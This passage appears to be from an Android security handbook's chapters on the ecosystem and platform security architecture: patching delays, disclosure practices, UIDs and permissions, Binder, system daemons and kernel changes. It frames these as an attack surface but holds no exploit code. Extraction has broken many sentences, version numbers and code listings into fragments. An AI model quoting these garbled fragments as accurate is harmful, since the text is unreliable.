Page 19

19

20

Chapter 1 ■ Looking at the Ecosystem

months, or possibly never
...
Unfortunately, end users
pay the price because their devices are left vulnerable
...
For example, apps are directly updated by
their authors
...
Additionally, Google has proven
their ability to deploy firmware updates for Nexus devices in a reasonable time
frame
...

Google usually patches vulnerabilities in the AOSP tree within days or weeks
of the discovery
...
However, OEMs tend to be slow in
applying patches
...
Carrier devices usually take months to get the security
updates, if they ever get them
...
In the Android ecosystem, back-ports for security fixes are mostly nonexistent
...
2
...
0
...
2
...

Users of prior versions such as 4
...
4 and 4
...
x are left vulnerable indefinitely
...
However, no such attack is publicly known at the time of this writing
...
The stated goal of this initiative was to encourage partners to make a commitment to update their Android devices for at
least 18 months after initial release
...
Unfortunately, the Android Update Alliance has never been mentioned again after the initial announcement
...
This is especially
problematic on poorly selling devices where carriers and manufacturers have
no incentive to invest in updates
...
indd 01:14:5:PM 02/24/2014

Page 20

Chapter 1 ■ Looking at the Ecosystem

Updating Dependencies
Keeping up with upstream open source projects is a cumbersome task
...
For example, the Android Framework includes a web browser engine
called WebKit
...
Chrome happens to have an admirably short patch
lifecycle, on the order of weeks
...
Unfortunately, many of these bugs are present in the code used by Android
...
The term is born from the term half-life, which measures the rate
at which radioactive material decays
...
Sadly, while it decays, Android users are left exposed to attacks that
may leverage these types of bugs
...
Power users want and need to
have unfettered access to their devices
...
In contrast, a completely secure device is in
the best interests of vendors and everyday end users
...

As a subset of all power users, security researchers face even more challenging decisions
...
Should they report the issue to the vendor?
Should they disclose the issue openly? If the researcher reports the issue, and
the vendor fixes it, it might hinder power users from gaining the access they
desire
...
For example, researchers routinely withhold disclosure when a publicly
viable method to obtain access exists
...

It also means that the security issues remain unpatched, potentially allowing
malicious actors to take advantage of them
...
By making it difficult for the vendors to
discover the leveraged vulnerability, power users are able to make use of the
exploit longer
...
This helps strike a balance between
the conflicting wants of these two stakeholder groups
...
All
vendors want satisfied customers
...
indd

01:14:5:PM 02/24/2014

Page 21

21

22

Chapter 1 ■ Looking at the Ecosystem

Android in order to please users and differentiate themselves
...
Vendors must
decide whether to make such modifications
...
Power user modifications can destabilize the system and
lead to unnecessary support calls
...
To
deal with this particular issue, vendors employ boot loader locking mechanisms
...
To compromise, many vendors provide
ways for end users to unlock devices
...


Public Disclosures
Last but not least, the final complexity relates to public disclosures, or public
announcement, of vulnerabilities
...
Several metrics, including full
participation in the disclosure process, can be used to gauge a vendor’s security
maturity
...
Here we document known public disclosures and explore several
possible reasons why this is the case
...
Unfortunately, the list contains only a single post introducing
the list
...
google
...
After the initial
post, not a single official security announcement was ever made
...
google
...
These
methods are time consuming, error prone, and unlikely to be integrated into
vulnerability assessment practices
...

One possibility involves the extended exposure to vulnerabilities ramping in
the Android ecosystem
...
Many security professionals,
including the authors of this text, believe that the danger imposed by such
a disclosure is far less than that of the extended exposure itself
...
It is easy to see how disclosing a vulnerability that remains
present in a business partner’s product could be seen as bad business
...
indd

01:14:5:PM 02/24/2014

Page 22

Chapter 1 ■ Looking at the Ecosystem

is the case, it means Google is prioritizing a business relationship before the
good of the public
...
Many OEMs have avoided public disclosure
entirely, even shying away from press inquiries about hot-button vulnerabilities
...
htc
...
On a few occasions, carriers have mentioned that their updates include
“important security fixes
...

The Common Vulnerabilities and Exposures (CVE) project aims to create a central, standardized tracking number for vulnerabilities
...
Using CVE numbers greatly improves the ability to identify and
discuss an issue across organizational boundaries
...

Of all of the stakeholders on the vendor side, one has stood out as taking
public disclosure seriously
...
This group is a consortium of companies with projects serving the mobile
wireless industry and is operated by Qualcomm
...
codeaurora
...
This level of maturity is one that other stakeholders should seek to
follow so that the security of the Android ecosystem as a whole can improve
...
Although not every security researcher is completely
forthcoming, they are responsible for bringing issues to the attention of all of the
other stakeholders
...
Increasingly, researchers are coordinating such disclosures with
stakeholders on the vendor side to safely and quietly improve Android security
...
The chapter walked you through the main players involved in the
Android ecosystem, explaining their roles and motivations
...
Armed with a deep understanding of Android’s complex

c01
...

The next chapter provides an overview of the security design and architecture
of Android
...


c01
...
Like any modern operating system, many of these mechanisms interact with each other, exchanging information about subjects (apps/
users), objects (other apps, files, devices), and operations to be performed (read,
write, delete, and so on)
...

This chapter discusses the security design and architecture of Android, setting
the stage for analyzing the overall attack surface of the Android platform
...
” However, this is a bit of a misnomer and doesn’t entirely do justice to the
complexity and architecture of the platform
...
Figure 2-1 shows how these layers comprise the Android
software stack
...
indd

01:14:22:PM 02/24/2014

Page 25

26

Chapter 2 ■ Android Security Design and Architecture

Launcher2
Email
Gallery
Calendar
Calculator

Stock Android Apps
Phone
AlarmClock
Settings Camera
Mms
DeskClock
Browser Bluetooth
Contacts
...
*
Binder
Power Manager
Activity Manager
Package Manager
Battery Manager

System Services
Mount Service
Notification Manager
Location Manager
Surface Flinger

Status Bar Manager
Sensor Service
Window Manager

...
*
(Apache Harmony)

Dalvik/Android Runtime/Zygote
JNI
Libraries
Bionic/OpenGL/WebKit/
...


Figure 2-1: General Android system architecture
Source: Karim Yaghmour of Opersys Inc
...
0 license)

http://www
...
net/opersys/inside-androids-ui

Android applications allow developers to extend and improve the functionality
of a device without having to alter lower levels
...
This includes building blocks to enable developers to perform common
tasks such as managing user interface (UI) elements, accessing shared data stores,
and passing messages between application components
...
This virtual machine (VM) was specially designed to provide an
efficient abstraction layer to the underlying operating system
...
In turn, the DalvikVM relies on functionality provided by a number of
supporting native code libraries
...
Some of these services
and libraries communicate with kernel-level services and drivers, whereas others
simply facilitate lower-level native operations for managed code
...
indd

01:14:22:PM 02/24/2014

Page 26

Chapter 2 ■ Android Security Design and Architecture

Android's underpinning is the Linus kernel
...
We discuss these issues in greater detail in Chapters 3, 10, and
12
...
Of particular note is the Binder
driver, which implements inter-process communication (IPC)
...


Understanding Security Boundaries and Enforcement
Security boundaries, sometimes called trust boundaries, are specific places
within a system where the level of trust differs on either side
...
Code in kernel-space is
trusted to perform low-level operations on hardware and access all virtual and
physical memory
...

The Android operating system utilizes two separate, but cooperating, permissions models
...
This permissions model is inherited from Linux and enforces
access to file system entries, as well as other Android specific resources
...
The Android runtime, by way of
the DalvikVM and Android framework, enforces the second model
...
Some permissions from the
second model actually map directly to specific users, groups, and capabilities
on the underlying operating system (OS)
...
Specifically, the
concept that processes running as separate users cannot interfere with each
other, such as sending signals or accessing one another’s memory space
...

Android shares Linux’s UID/group ID (GID) paradigm, but does not have the
traditional passwd and group files for its source of user and group credentials
...
The initial AID mapping contains reserved, static entries for privileged

c02
...
Android also reserves
AID ranges used for provisioning app UIDs
...
1 added
additional AID ranges for multiple user profiles and isolated process users (e
...
, for
further sandboxing of Chrome)
...
h in the Android Open Source
Project (AOSP) tree
...

#define
#define
#define

AID_RADIO
AID_BLUETOOTH

1001
1002

/* telephony subsystem, RIL */
/* bluetooth subsystem */

AID_SHELL
AID_CACHE
AID_DIAG

2000
2001
2002

/* adb and debug shell user */
/* cache access */
/* access to diagnostic resources */

/* The 3000 series are intended for use as supplemental group id's only
...
*/
#define AID_NET_BT_ADMIN 3001 /* bluetooth: create any socket */
#define AID_NET_BT
3002 /* bluetooth: create sco,
rfcomm or l2cap sockets */
#define AID_INET
3003 /* can create AF_INET and
AF_INET6 sockets */
#define AID_NET_RAW
3004 /* can create raw INET sockets */

...
For example, membership in the
sdcard_rw group allows a process to both read and write the /sdcard directory,
as its mount options restrict which groups can read and write
...

N O T E Though all AID entries map to both a UID and GID, the UID may not necessarily
be used to represent a user on the system
...


c02
...
The AID_INET group, for instance,
allows for users to open AF_INET and AF_INET6 sockets
...
For example, membership in the
AID_INET_ADMIN group grants the CAP_NET_ADMIN capability, allowing the user to
configure network interfaces and routing tables
...

In version 4
...
For
example, Android 4
...
Here,
this capability facilitates access to the packages
...

N O T E A complete discussion on Linux capabilities is out of the scope of this
chapter
...
txt
and the capabilities manual page, respectively
...
Running under a unique UID and GID
enables the operating system to enforce lower-level restrictions in the kernel,
and for the runtime to control inter-app interaction
...

The following snippet shows the output of the ps command on an HTC One
V
...


...


...


...


S
S
S
S
S
S
S

com
...
bgp
com
...
android
...
google
...
apps
...
process
...
htc
...
htc
...
bg
com
...
browser

Applications can also share UIDs, by way of a special directive in the
application package
...

Under the hood, the user and group names displayed for the process are
actually provided by Android-specific implementations of the POSIX functions
typically used for setting and fetching of these values
...
cpp in the Bionic library):

c02
...

346
stubs_state_t* state = __stubs_state();
347
if (state == NULL) {
348
return NULL;
349
}
350
351
passwd* pw = android_id_to_passwd(state, uid);
352
if (pw != NULL) {
353
return pw;
354
}
355
return app_id_to_passwd(uid, state);
356 }

Like its brethren, getpwuid in turn calls additional Android-specific functions,
such as android_id_to_passwd and app_id_to_passwd
...
The android_id_to_passwd function calls android_iinfo_to_passwd to
accomplish this:
static passwd* android_iinfo_to_passwd(stubs_state_t* state,
const android_id_info* iinfo) {
snprintf(state->dir_buffer_, sizeof(state->dir_buffer_), "/");
snprintf(state->sh_buffer_, sizeof(state->sh_buffer_),
"/system/bin/sh");
passwd* pw =
pw->pw_name
pw->pw_uid
pw->pw_gid
pw->pw_dir
pw->pw_shell
return pw;

&state->passwd_;
= (char*) iinfo->name;
= iinfo->aid;
= iinfo->aid;
= state->dir_buffer_;
= state->sh_buffer_;

}

Android Permissions
The Android permissions model is multifaceted: There are API permissions, file
system permissions, and IPC permissions
...
As previously mentioned, some high-level permissions map
back to lower-level OS capabilities
...

To determine the app user’s rights and supplemental groups, Android processes high-level permissions specified in an app package’s AndroidManifest

...
Applications’ permissions are extracted from
the application’s manifest at install time by the PackageManager and stored in
/data/system/packages
...
These entries are then used to grant the appropriate

c02
...
The following snippet shows the Google Chrome package entry inside
packages
...
android
...
android
...
apk"
nativeLibraryPath="/data/data/com
...
chrome/lib"
flags="0" ft="1422a161aa8" it="1422a163b1a"
ut="1422a163b1a" version="1599092" userId="10082"
installer="com
...
vending">







...
permission
...
permission
...




...
xml
...
The following snippet shows some of these mappings:

...
permission
...
permission
...
permission
...
permission
...


c02
...

The first type of checking is done at the time of a given method invocation and
is enforced by the runtime
...


API Permissions
API permissions include those that are used for controlling access to highlevel functionality within the Android API/framework and, in some cases,
third-party frameworks
...
” An app that requests and is subsequently
granted this permission would therefore be able to call a variety of methods related to querying phone information
...

As mentioned earlier, some API permissions correspond to kernel-level enforcement mechanisms
...

Membership in this group grants the user the ability to open AF_INET and
AF_INET6 sockets, which is needed for higher-level API functionality, such as
creating an HttpURLConnection object
...


File System Permissions
Android’s application sandbox is heavily supported by tight Unix file system
permissions
...
Note the UIDs
and GIDs (in the second and third columns) in the following directory listing
...

drwxr-x--x u0_a55
drwxr-x--x u0_a56
drwxr-x--x u0_a53
mobile
drwxr-x--x u0_a31

c02
...
com
...
browser
u0_a4
...
android
...
com
...
calendar
u0_a24
...
android
...
com
...
android
u0_a56
...
ubercab
u0_a53
...
yougetitback
...
virgin
...
jp
...
omronsoft
...
The following listing shows an application’s data directory, with ownership
and permissions on subdirectories and files set only for the app’s UID and GID:
root@android:/data/data/com
...
android # ls -lR

...
twitter
...
/cache:
drwx------ u0_a55
u0_a55
com
...
renderscript
...
/cache/com
...
renderscript
...
/databases:
-rw-rw---- u0_a55
-rw------- u0_a55
-rw-rw---- u0_a55
-rw------- u0_a55

u0_a55
u0_a55
u0_a55
u0_a55


...
crashlytics
...
android

184320
8720
61440
16928

2013-10-17
2013-10-17
2013-10-22
2013-10-22

06:47
06:47
18:17
18:17

0-3
...
db-journal
global
...
db-journal

2013-10-22 18:18


...
crashlytics
...
android:
-rw------- u0_a55
u0_a55
80 2013-10-22 18:18
5266C1300180-0001-0334-EDCC05CFF3D7BeginSession
...
/shared_prefs:
-rw-rw---- u0_a55
u0_a55
155 2013-10-17 00:07 com
...
prefs
...
twitter
...
xml

As mentioned previously, certain supplemental GIDs are used for access to shared
resources, such as SD cards or other external storage
...

/dev/block/dm-2 /mnt/sdcard vfat rw,dirsync,nosuid,nodev,noexec,relatime,
uid=1000,gid=1015,fmask=0702,dmask=0702,allow_utime=0020,codepage=cp437,
iocharset=iso8859-1,shortname=mixed,utf8,errors=remount-ro 0 0

...

d---rwxr-x system
sdcard_rw
1969-12-31 19:00 sdcard

c02
...
Applications requesting the WRITE_EXTERNAL_STORAGE
permission will have their UID added to this group, granting them write access
to this path
...
The declaration and enforcement of these permissions may
occur at different levels, including the runtime, library functions, or directly
in the application itself
...
The details of these components and Binder itself are presented
later in this chapter
...

This will help set the stage for later chapters, which will go into greater detail
about these components
...


Android Applications
In order to understand how to evaluate and attack the security of Android
applications, you first need to understand what they’re made of
...
This also helps lay the groundwork
for Chapter 4
...
Pre-installed applications include Google, original equipment manufacturer (OEM), and/or mobile carrier-provided applications, such as calendar,
e-mail, browser, and contact managers
...
Some of these may have elevated privileges or capabilities, and therefore may be of particular interest
...

These apps, as well as updates to pre-installed apps, reside in the /data/app
directory
...
indd

01:14:22:PM 02/24/2014

Page 34

Chapter 2 ■ Android Security Design and Architecture

Android uses public-key cryptography for several purposes related to applications
...

Applications signed with this key are special in that they can have system user
privileges
...
For both pre-installed and user-installed apps, Android
uses the signature to prevent unauthorized app updates
...
These include the AndroidManifest, Intents, Activities, BroadcastReceivers,
Services, and Content Providers
...

AndroidManifest
...
xml file
...
g
...
wiley
...
Simply put, when two applications are signed by the same key, they can
specify an identical user identifier in their respective manifests
...
This subsequently allows these
apps access to the same file system data store, and potentially other resources
...

Intents

A key part of inter-app communication is Intents
...
Nearly all common actions—such as

c02
...

This is akin to an IPC or remote procedure call (RPC) facility where applications’ components can interact programmatically with one another, invoking
functionality and sharing data
...

The Android runtime acts as a reference monitor, enforcing permissions checks
for Intents, if the caller and/or the callee specify permission requirements for
sending or receipt of messages
...
Intent
filters are especially used when dealing with intents that do not have a specific
destination, called implicit intents
...
wiley
...
INSTALL_WIDGET, and an activity, com
...
MyApp

...
0"
package="com
...
MyApp"

...
wiley
...
INSTALL_WIDGET"
android:protectionLevel="signature" />

...
InstallWidgetActivity"
android:permission="com
...
permission
...
Note,
too, that the permission has a protectionLevel attribute of signature
...

Activities

Simply put, an Activity is a user-facing application component, or UI
...
Lower-level management of Activities is handled by the appropriately
named Activity Manager service, which also processes Intents that are sent to
invoke Activities between or even within applications
...
indd

01:14:22:PM 02/24/2014

Page 36

Chapter 2 ■ Android Security Design and Architecture

...
yougetitback
...
ReportSplashScreen"
android:screenOrientation="portrait" />
android:name="com
...
androidapplication
...
yougetitback
...
SplashScreen"
android:clearTaskOnLaunch="false" android:launchMode="singleTask"
android:screenOrientation="portrait">





android:name="com
...
androidapplication
...
In
the lattermost case, binding to a service, an additional set of IPC or RPC procedures may be available to the caller
...

Content Providers

Content Providers act as a structured interface to common, shared data stores
...
Applications
may also create their own Content Providers, and may optionally expose them
to other applications
...

Much like other app components, the ability to read and write Content Providers
can be restricted with permissions
...
xml file:


The application declares a provider, named MyProvider , which corresponds to the class implementing the provider functionality
...
wiley
...
permission
...
Finally,

c02
...
Content URIs take the form of content://[authorityname]/ and may include additional path/argument information, possibly
significant to the underlying provider implementation (for example, content://
com
...
example
...

In Chapter 4, we demonstrate a means of discovering and attacking some of
these IPC endpoints
...

Such tasks might include managing UI elements, accessing shared data stores,
and passing messages between application components
...

The common framework packages are those within the android
...
content or android
...
Android also provides many
standard Java classes (in the java
...
* namespaces), as well as additional third-party packages, such as Apache HTTP client libraries and the SAX
XML parser
...
These
so-called managers are started by system_server (discussed in the “Zygote”
section) after system initialization
...

Table 2-1: Framework Managers
FRAMEWORK SERVICE

DESCRIPTION

Activity Manager

Manages Intent resolution/destinations, app/activity launch,
and so on

View System

Manages views (UI compositions that a user sees) in activities

Package Manager

Manages information and tasks about packages currently
and previously queued to be installed on the system

Telephony Manager

Manages information and tasks related to telephony services,
radio state(s), and network and subscriber information

Resource Manager

Provides access to non-code app resources such as graphics,
UI layouts, string data, and so on

Location Manager

Provides an interface for setting and retrieving (GPS, cell,
WiFi) location information, such as location fix/coordinates

Notification Manager

Manages various event notifications, such as playing sounds,
vibrating, flashing LEDs, and displaying icons in the status bar

c02
...
NAME
system
376
52

...

system
389
376

...
WindowManager
system
391
376

...

system
399
376

...
Although Dalvik is
said to be Java-based it is not Java insofar as Google does not use the Java logos and
the Android application model has no relationship with JSRs (Java Specification
Requirements)
...
The overall development process looks like this:
1
...

2
...
class files (also Java-like)
...
The resulting class files are translated into Dalvik bytecode
...
All class files are combined into a single Dalvik executable (DEX) file
...
Bytecode is loaded and interpreted by the DalvikVM
...
However, it is most common for only the first 16, or rarely 256, to be used
...
Just like an actual
microprocessor, the DalvikVM uses these registers to keep state and generally
keep track of things while it executes bytecode
...
Therefore, the
DalvikVM is designed with speed and efficiency in mind
...
This
inherently means loss of efficiency, which is why Google sought to minimize
these effects
...
For DEX files launched from within
an Android app, this generally happens only once when the application is first
launched
...
indd

01:14:22:PM 02/24/2014

Page 40

Chapter 2 ■ Android Security Design and Architecture

(ODEX)
...

Similar to the Java VM, the DalvikVM interfaces with lower-level native code
using Java Native Interface (JNI)
...
More detailed information about the
DalvikVM, the DEX file format, and JNI on Android is available in the official
Dalvik documentation at http://milk
...


Zygote
One of the first processes started when an Android device boots is the Zygote
process
...
The Zygote process then
acts as the loader for each Dalvik process by creating a copy of itself, or forking
...
As a result, core libraries, core classes, and their corresponding
heap structures are shared across instances of the DalvikVM
...

Zygote’s second order of business is starting the system_server process
...
In turn, system_server starts up all of the Android Framework
services introduced in Table 2-1
...
However, only the device’s Dalvik subsystem is actually rebooting
...
This is the mechanism by which the processes that
host Android app components are actually started
...

This layer is comprised of two primary groups of components: libraries and
core system services
...


Libraries
Much of the low-level functionality relied upon by higher-level classes in the
Android Framework is implemented by shared libraries and accessed via JNI
...
indd

01:14:22:PM 02/24/2014

Page 41

41

42

Chapter 2 ■ Android Security Design and Architecture

in other Unix-like operating systems
...

Vendor-specific libraries, namely those that provide support for hardware
unique to a device model, are in /vendor/lib (or /system/vendor/lib)
...
Non-vendor-specific libraries are in /system/lib, and typically
include external projects, for example:


libexif: A JPEG EXIF processing library



libexpat: The Expat XML parser



libaudioalsa/libtinyalsa: The ALSA audio library



libbluetooth: The BlueZ Linux Bluetooth library



libdbus: The D-Bus IPC library

These are only a few of the many libraries included in Android
...
3 contains more than 200 shared libraries
...
Bionic is a notable example
...
These differences come at a slight price
...
Bionic also contains quite a bit of original code
...

Because these libraries are developed in native code, they are prone to memory
corruption vulnerabilities
...


Core Services
Core services are those that set up the underlying OS environment and native
Android components
...
Note that some core services may be hardware or version specific; this section is certainly not an exhaustive list of all user-space services
...
Just as with other Linux systems, Android’s

c02
...
However, Android uses a custom implementation of init
...
d, Android executes
commands based on directives found in /init
...
For device-specific directives, there may be a file called /init
...
rc, where [hw] is the codename of

the hardware for that specific device
...
rc on an HTC One V:
service dbus /system/bin/dbus-daemon --system --nofork
class main
socket dbus stream 660 bluetooth bluetooth
user bluetooth
group bluetooth net_bt_admin
service bluetoothd /system/bin/bluetoothd -n
class main
socket bluetooth stream 660 bluetooth bluetooth
socket dbus_bluetooth stream 660 bluetooth bluetooth
# init
...
rc does not yet support applying capabilities, so run as root and
# let bluetoothd drop uid to bluetooth with the right linux capabilities
group bluetooth net_bt_admin misc
disabled
oneshot
# Discretix DRM
service dx_drm_server /system/bin/DxDrmServerIpc -f -o allow_other \
/data/DxDrm/fuse
on property:ro
...
tags=test-keys
start htc_ebdlogd
on property:ro
...
tags=release-keys
start htc_ebdlogd_rel
service zchgd_offmode /system/bin/zchgd -pseudooffmode
user root
group root graphics
disabled

c02
...
Many
OS and framework components rely upon these properties, which include items
such as network interface configuration, radio options, and even security-related
settings, the details of which are discussed in Chapter 3
...
For example, using the
command-line utilities getprop and setprop, respectively; programmatically
in native code via property_get and property_set in libcutils; or programmatically using the android
...
SystemProperties class (which in turn calls
the aforementioned native functions)
...


property setter

unix domain socket

property consumer

property service

read

write

property_workspace
(shared memory)

Figure 2-2: The Android Property Service

c02
...
vm
...
vm
...
vm
...

[dhcp
...
dns1]: [192
...
1
...
wlan0
...
wlan0
...
wlan0
...
wlan0
...
168
...
1]
[dhcp
...
ipaddress]: [192
...
1
...
wlan0
...

[ro
...
appupdate
...
url]:
[http://apu-msg
...
com/extra-msg/rws/and-app/msg]
[ro
...
appupdate
...
url_CN]:
[http://apu-msg
...
com
...
htc
...
url]:
[http://apu-chin
...
com/check-in/rws/and-app/update]

...
brcm
...
activation]: [0]
[service
...
bt
...
These are designated
by the ro prefix:
[ro
...
serialno]: [HT26MTV01493]
[ro
...
enterprise_mode]: [1]
[ro
...
mode]: [DISABLED]
[ro
...
lcd_density]: [240]
[ro
...
default_network]: [0]
[ro
...
vendor
...
so]

You can find some additional details of the Property Service and its security
implications in Chapter 3
...
” Without this
component, an Android device will not be able to make calls, send or receive

c02
...
As such, it will be found
running on any Android device with a cellular data or telephony capability
...
When the debugger daemon starts up, it opens a connection to Android’s
logging facility and starts listening for clients on an abstract namespace socket
...

When one of the captured signals occurs, the kernel executes the signal
handler function, debugger_signal_handler
...
After it’s connected, the linker notifies the other end of the socket (debuggerd) that the target
process has crashed
...

ADB

The Android Debugging Bridge, or ADB, is composed of a few pieces, including
the adbd daemon on the Android device, the adb server on the host workstation, and the corresponding adb command-line client
...

As a brief example, you can run the adb devices command to list your
attached devices
...
Next, you can specify a target
device by its serial number and run adb shell, giving you a command shell
on the device:
% adb devices
* daemon not running
...
indd

01:14:22:PM 02/24/2014

Page 46

Chapter 2 ■ Android Security Design and Architecture
root@android:/ # busybox pgrep -l adbd
2103 /sbin/adbd

ADB is pivotal for developing with Android devices and emulators
...
You can find detailed information on using the adb command at http://developer
...
com/tools/
help/adb
...

Volume Daemon

The Volume Daemon, or vold, is responsible for mounting and unmounting
various file systems on Android
...
e
...
When the card is pulled or ejected (manually by the user)
vold unmounts the target volume
...
These are used for encrypting app packages when they
are stored on insecure file systems such as FAT
...

Opaque Binary Blobs (OBBs) are also mounted and unmounted by the Volume
Daemon
...
Unlike ASEC containers, however, the calls to mount
and unmount OBBs are performed by the applications themselves, rather than
the system
...
mountObb(obbFile, "SuperSecretKey", obbListener);
obbContent = storageRef
...
You can find details on privilege
escalation attacks against vold and other similar services in Chapter 3
...
Table 2-2 highlights some of these services, their
purposes, and their privilege levels on the system (UID, GID, and any supplemental groups for that user, which may be specified in the system’s init
...


c02
...
2+, used by the Network
Management Service for configuring network
interfaces, running the PPP daemon (pppd), tether- GID: 0 / root
ing, and other similar tasks
...


UID: 1013 / media
GID: 1005 / audio
Groups: 1006 /
camera
1026 / drmpc
3001 / net_bt_admin
3002 / net_bt
3003 / inet
3007 / net_bw_acct

dbusdaemon

Manages D-Bus–specific IPC/message passing (pri- UID: 1002 / bluetooth
marily for non-Android specific components)
...

On pre-4
...


UID: 1017 / keystore
GID: 1017 / keystore
Groups: 1026 / drmpc

drmserver

c02
...
Apps interface with this
GID: 1019 / drm
service by way of higher-level classes in the DRM
package (in Android 4
...

Groups: 1026 / drmrpc
3003 / inet

01:14:22:PM 02/24/2014

Page 48

Chapter 2 ■ Android Security Design and Architecture

UID, GID,
SUPPLEMENTAL
GROUPS

SERVICE

DESCRIPTION

servicemanager

Acts as the arbiter for registration/deregistration of UID: 1000 / system
app services with Binder IPC endpoints
...
0+, the display compositor
responsible for building the graphics frame/screen
GID: 1000 / system
to be displayed and sending to the graphics card
driver
...
2+, user-space daemon for
handling system and device events and taking corGID: 0 /root
responding actions, such as loading appropriate
kernel modules
...
Comparing the
process list, init
...
These are particularly interesting because their code may not be of the same quality of the core services
present in all Android devices
...
This section explains some of those
changes, especially those which are pertinent to Android security
...
Overall, this includes approximately 250 patches, ranging from file system
support and networking tweaks to process and memory management facilities
...
” In March
2012, the Linux kernel maintainers merged the Android-specific kernel modifications into the mainline tree
...
We discuss several of these in more detail
later in this section
...
indd

01:14:22:PM 02/24/2014

Page 49

49

50

Chapter 2 ■ Android Security Design and Architecture
Table 2-3: Android’s major changes to Linux kernel
KERNEL CHANGE

DESCRIPTION

Binder

IPC mechanism with additional features such as security
validation of callers/callees; used by numerous system and
framework services

ashmem

Anonymous Shared Memory; file-based shared memory allocator;
uses Binder IPC to allow processes to identify memory region file
descriptors

pmem

Process Memory Allocator; used for managing large, contiguous
regions of shared memory

logger

System-wide logging facility

RAM_CONSOLE

Stores kernel log messages in RAM for viewing after a kernel panic

“oom” modifications

“Out of memory”-killer kills processes as memory runs low; in
Android fork, OOM kills processes sooner than vanilla kernel, as
memory is being depleted

wakelocks

Power management feature to keep a device from entering
low-power state, and staying responsive

Alarm Timers

Kernel interface for AlarmManager, to instruct kernel to
schedule “waking up”

Paranoid Networking

Restricts certain networking operations and features to specific
group IDs

timed output / gpio

Allows user-space programs to change and restore GPIO registers
after a period of time

yaffs2

Support for the yaffs2 flash file system

Binder
Perhaps one of the most important additions to Android’s Linux kernel was a
driver known as Binder
...
, and later Palm, Inc
...

In a nutshell, the Binder kernel driver facilitates the overall Binder architecture
...
It
allows a process to invoke methods in “remote” processes synchronously
...
Figure 2-3 shows Binder’s
communication flow
...
indd

01:14:22:PM 02/24/2014

Page 50

Chapter 2 ■ Android Security Design and Architecture

Process A

Proxy

Binder Driver

Process B with Threads

Figure 2-3: Binder communication

Binder also uses process ID (PID) and UID information as a means of
identifying the calling process, allowing the callee to make decisions about
access control
...
getCallingUid and Binder
...

An example of this in practice would be the ACCESS_SURFACE_FLINGER permission
...

Furthermore, the caller’s group membership—and subsequent bearing of the
required permission—is checked through a series of calls to the aforementioned
functions, as illustrated by the following code snippet:
const int pid = ipc->getCallingPid();
const int uid = ipc->getCallingUid();
if ((uid != AID_GRAPHICS) &&
!PermissionCache::checkPermission(sReadFramebuffer,
pid, uid)) {
ALOGE("Permission Denial: "
"can't read framebuffer pid=%d, uid=%d", pid, uid);
return PERMISSION_DENIED;
}

At a higher level, exposed IPC methods, such as those provided by bound Services,
are typically distilled into an abstract interface via Android Interface Definition
Language (AIDL)
...
AIDL is akin to other Interface Definition Language files or,
in a way, C/C++ header files
...
indd

01:14:22:PM 02/24/2014

Page 51

51

52

Chapter 2 ■ Android Security Design and Architecture
// IRemoteService
...
example
...
*/
int getPid();
/** Demonstrates some basic types that you can use as parameters
* and return values in AIDL
...
An application that binds to the service
exposing this interface would subsequently be able to call the aforementioned
methods—facilitated by Binder
...
The ashmem driver basically provides a file-based,
reference-counted shared memory interface
...
Because ashmem is designed to automatically shrink
memory caches and reclaim memory regions when available system-wide
memory is low, it is well suited for low-memory environments
...


At a higher level, the Android Framework provides the MemoryFile class,
which serves as a wrapper around the ashmem driver
...
Incidentally, ashmem proved to
be the source of a pretty serious flaw in early 2011, allowing for a privilege
escalation via Android properties
...


c02
...
These regions are special, in that
they are shared between user-space processes and other kernel drivers (such
as GPU drivers)
...


Logger
Though Android’s kernel still maintains its own Linux-based kernel-logging
mechanism, it also uses another logging subsystem, colloquially referred to
as the logger
...
It provides four separate log buffers, depending on the type
of information: main, radio, event, and system
...

The main buffer is often the most voluminous, and is the source for applicationrelated events
...
util
...
i method for “informational,” Log
...
e for
“error” level logs (much like syslog)
...
util
...
out
/System
...
android
...
os
AndroidPrintstream

Host
ADT in Eclipse

stdout
/stderr

logcat

liblog

stdout
adbd

adbserver

User
Kernel

adb logcat
main

64KB

radio

logger
/dev/log/main
/dev/log/radio
/dev/log/event
/dev/log/system

event

256KB

64KB

system
64KB

/dev/log/main
/dev/log/radio
/dev/log/event
/dev/log/system

Figure 2-4: Android logging system architecture

c02
...
These processes utilize the println_native
method in the android
...
Slog class
...

Log messages can be retrieved using the logcat command, with both the
main and system buffers being the default sources
...

--------- beginning of /dev/log/main

...
so
D/libEGL ( 4887): loaded /system/lib/egl/libGLESv2_adreno200
...

D/OpenGLRenderer( 4887): Enabling debug mode 0
V/chromium( 4887): external/chromium/net/host_resolver_helper/host_
resolver_helper
...
cc(66)]
DNSPreResolver::Init got hostprovider:0x5281d220
V/chromium( 4887): external/chromium/net/base/host_resolver_impl
...
cc(1515)]
HostResolverImpl::SetPreresolver preresolver:0x013974d8
V/WebRequest( 4887): WebRequest::WebRequest, setPriority = 0
I/InputManagerService( 1600): [unbindCurrentClientLocked] Disable input
method client
...

V/chromium( 4887): external/chromium/net/disk_cache/
hostres_plugin_bridge
...
cc(52)] StatHubCreateHostResPlugin initializing
...


c02
...
Throughout the course of the book,
we make extensive use of the logcat command to monitor processes and overall
system state
...
At a high level, this involves mapping an AID, and subsequently
a GID, to an application-level permission declaration or request
...
permission
...
These groups, IDs, and their respective capabilities
are defined in include/linux/android_aid
...

Table 2-4: Networking capabilities by group
AID DEFINITION

GROUP ID / NAME

CAPABILITY

AID_NET_BT_ADMIN

3001 / net_bt_admin

Allows for creation of any Bluetooth
socket, as well as diagnoses and
manages Bluetooth connections

AID_NET_BT

3002 / net_bt

Allows for creation of SCO, RFCOMM,
or L2CAP (Bluetooth) sockets

AID_INET

3003 / inet

Allows for creation of AF_INET and
AF_INET6 sockets

AID_NET_RAW

3004 / net_raw

Allows the use of RAW and PACKET
sockets

AID_NET_ADMIN

3005 / net_admin

Grants the CAP_NET_ADMIN capability,
allowing for network interface, routing
table, and socket manipulation

You can fi nd additional Android-specific group IDs in the AOSP source
repository in system/core/include/private/android_filesystem_config
...


Complex Security, Complex Exploits
After taking a closer look at the design and architecture of Android, it is clear that
the Android operating system developers created a very complex system
...
Throughout this book, you will see substantial evidence of the use of
this principle
...


c02
...
The complexities of these techniques complicate the system for both developers and attackers, which increase the cost of
development for both parties
...
With a system like
Android, exploiting a single vulnerability may not be enough to get full access
to the system
...
To summarize, successfully attacking a complex system
requires a complex exploit
...
To achieve root access, that exploit leveraged multiple,
complementary issues
...


Summary
This chapter gave an overview of the security design and architecture of Android
...
This included Android’s special implementation of Unix UID/GID
